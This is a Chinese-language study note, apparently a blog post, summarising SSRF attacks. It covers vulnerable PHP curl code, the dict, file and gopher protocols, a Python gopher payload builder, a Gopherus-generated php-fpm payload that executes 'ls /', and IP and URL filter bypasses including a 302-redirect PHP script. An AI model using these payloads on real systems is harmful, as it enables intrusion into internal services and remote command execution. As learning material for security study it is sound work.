ssrf学习总结

ssrf

服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。

危险函数

下面是几个可能会存在SSRF的服务器使用的函数:

1
2
3
4
5
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
fopen():打开一个文件文件或者 URL。

example:

1
2
3
4
5
6
7
8
9
<?php
$url=$_POST['url'];
$ch=curl_init($url); //创造一个curl资源
curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch); // 抓取url并将其传递给浏览器
curl_close($ch); //关闭curl资源
echo ($result);
?>

常用协议

http

http协议用于访问内网资源/扫描内网存活主机

dict

可以通过dict协议根据响应时间和内容去扫描内网开放端口以及端口上运行的服务信息

example:
dict://127.0.0.1:6379 //探测redis是否存活

file

file协议主要用于访问本地计算机的文件,在有回显的情况下,可以用于读取文件进行查看

gopher

格式:gopher://<host>:<port>/<gopher-path>_<TCP数据流>

如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

通过脚本转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import urllib.parse
payload =\
"""POST /test.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

test=1
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码

利用方式

攻击内网RedisFastCGIMySql等服务

浅析Redis中SSRF的利用

通常会利用Gopherus等工具

1
2
3
4
5
6
7
8
9
10
11
MySQL (Port-3306)
PostgreSQL(Port-5432)
FastCGI (Port-9000)
Memcached (Port-11211)
If stored data is getting De-serialized by:
Python
Ruby
PHP
Redis (Port-6379)
Zabbix (Port-10050)
SMTP (Port-25)

ssrf打php-fpm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@lewiserii:~/Gopherus-master# python2 gopherus.py --exploit fastcgi


________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/

author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: index.php
Terminal command to run: ls /

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

传入时记得将生成的payload下划线后面的数据进行url编码

bypass

ip限制

例如限制了127/172

1
2
3
4
5
6
7
8
9
10
11
12
进制转换
10进制 http://2130706433
8进制 http://017700000001
16进制 http://0x7F000001

长度限制
host<5
url=http://0/flag.php
url=http://127.1/flag.php

host<3
url=http://0/flag.php //在window下代表0.0.0.0,而在liunx下代表127.0.0.1

url限制

解析到内网的域名

xip.ioxip.namenip.iosslip.io

1
2
192.168.0.1.xip.io >>> 192.168.0.1
localhost >>> 127.0.0.1

利用@转跳

1
http://www.baidu.com@10.10.10.10 >>> http://10.10.10.10

利用句号

1
127。0。0。1  >>>  127.0.0.1

利用IPv6[::]

1
2
http://[::]:80/  >>>  http://127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ //在liunx下可用

利用短网址

不允许出现某个字母或者限制了url长度,我们可以切换为短网址,来绕过长度的限制

302跳转

vps上放个php

1
2
<?php
header("Location:http://127.0.0.1/flag.php");

或者

1
2
3
4
5
6
7
8
9
10
<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}

enclosed alphanumerics 绕过

一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。

1
2
3
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

DNS重绑定

从0到1认识DNS重绑定攻击


ssrf学习总结
https://www.dr0n.top/posts/76604b1a/
作者
dr0n
发布于
2023年2月5日
更新于
2024年7月17日
许可协议